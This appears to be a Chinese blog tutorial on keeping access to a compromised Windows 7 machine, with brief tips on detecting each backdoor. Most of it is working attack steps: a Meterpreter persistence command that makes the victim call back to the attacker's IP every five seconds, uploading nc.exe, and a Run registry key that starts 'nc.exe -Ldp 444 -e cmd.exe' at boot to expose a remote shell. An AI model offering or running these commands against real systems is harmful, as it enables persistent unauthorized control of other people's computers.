黑客是怎樣植入后門的
聲明:謝絕一切形式的轉(zhuǎn)載,禁止用作非法目的
當(dāng)通過木馬或者漏洞成功入侵別人電腦后,由于MSF發(fā)起的攻擊都是基于內(nèi)存的,因此,當(dāng)被入侵的電腦關(guān)機(jī)之后或者漏洞修復(fù)之后,前期建立的連接就都不復(fù)存在了。所以,有必要在被入侵的電腦上安裝后門,讓"肉雞"每次重啟之后,都能和自己的機(jī)器自動(dòng)建立連接。
準(zhǔn)備條件
"肉雞": Windows7 32位 防火墻開啟
通過木馬建立連接
具體內(nèi)容可參考這里

Persistence 后門
建立后門
通過下面的幫助信息,可以看出persitence模塊是用來(lái)在目標(biāo)機(jī)器上創(chuàng)建后門的腳本。比較常用的參數(shù)-A 、-X、-I、-p、-r,具體含義可查看幫助。
meterpreter > run persistence -h
[!] Meterpreter scripts are deprecated. Try exploit/windows/local/persistence.
[!] Example: run exploit/windows/local/persistence OPTION=value [...]
Meterpreter Script for creating a persistent backdoor on a target host.
OPTIONS:
-A ? ? ? ?Automatically start a matching exploit/multi/handler to connect to the agent
-L <opt> Location in target host to write payload to, if none %TEMP% will be used.
-P <opt> Payload to use, default is windows/meterpreter/reverse_tcp.
-S ? ? ? ?Automatically start the agent on boot as a service (with SYSTEM privileges)
-T <opt> Alternate executable template to use
-U ? ? ? ?Automatically start the agent when the User logs on
-X ? ? ? ?Automatically start the agent when the system boots
-h ? ? ? ?This help menu
-i <opt> The interval in seconds between each connection attempt
-p <opt> The port on which the system running Metasploit is listening
-r <opt> The IP of the system running Metasploit listening for the connect back
建立一個(gè)后門,每隔5s嘗試建立連接,自動(dòng)匹配模塊exploit/multi/handler連接黑客的機(jī)器。
run persistence -A -X -i 5 -p 9988 -r 192.168.42.49
運(yùn)行命令之后,可以看出生成了一個(gè)vbs腳本。Persistence 后門基于的就是這個(gè)腳本。

殺死9988端口對(duì)應(yīng)的會(huì)話。
sessions -k 5
過一會(huì),發(fā)現(xiàn)9988端口的會(huì)話又建立起來(lái)了。

將"肉雞"重啟,查看9988端口的會(huì)話是否會(huì)被重新建立。

從圖中可以看出,重啟之后,會(huì)話又被成功建立起來(lái)了。
檢測(cè)后門
(1)查看相應(yīng)的目錄是否有可疑的vbs。 (2)查看可疑端口 (3)查看可疑的開機(jī)啟動(dòng)項(xiàng)
nc后門
建立nc后門
nc.exe具有"瑞士軍刀"的美名,其在反向連接方面的功能可以用強(qiáng)大甚至恐怖來(lái)形容。
上傳nc后門到"肉雞"
upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32
枚舉注冊(cè)表內(nèi)容(開機(jī)啟動(dòng)),注冊(cè)表相關(guān)的內(nèi)容在前面有介紹。
reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run
在該注冊(cè)表增加內(nèi)容(開機(jī)啟動(dòng))
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d "C:\windows\system32\nc.exe -Ldp 444 -e cmd.exe"
查看內(nèi)容
reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v nc
具體過程如下:

重啟"肉雞",通過nc連接
nc 192.168.42.40 444
成功連接后,能夠獲得肉雞的cmd終端:

檢測(cè)nc后門
通過主注冊(cè)表的開機(jī)啟動(dòng)項(xiàng)目進(jìn)行檢測(cè)。
通過nc程序名字進(jìn)行檢測(cè),這個(gè)很容易繞過,改成具有迷惑行為的名字就可以
可疑端口檢測(cè)
metsvc后門
使用如下命令
run metsvc
然后重啟之后,通過bind_tcp進(jìn)行主動(dòng)連接。 由于版本問題,在win7 32位上,相應(yīng)的服務(wù)起不來(lái),不做過多介紹。
寫在最后
后門植入,是進(jìn)行持續(xù)性攻擊的有效手段。其基本原理大都是基于開啟啟動(dòng)項(xiàng),大多數(shù)都是通過注冊(cè)表實(shí)現(xiàn)的,因此,開機(jī)啟動(dòng)項(xiàng)要認(rèn)真辨別,否則,你的機(jī)器可能就是一臺(tái)"肉雞"。
公眾號(hào)
相應(yīng)的視頻,后續(xù)會(huì)更新。更多內(nèi)容,歡迎關(guān)注我的微信公眾號(hào):無(wú)情劍客。
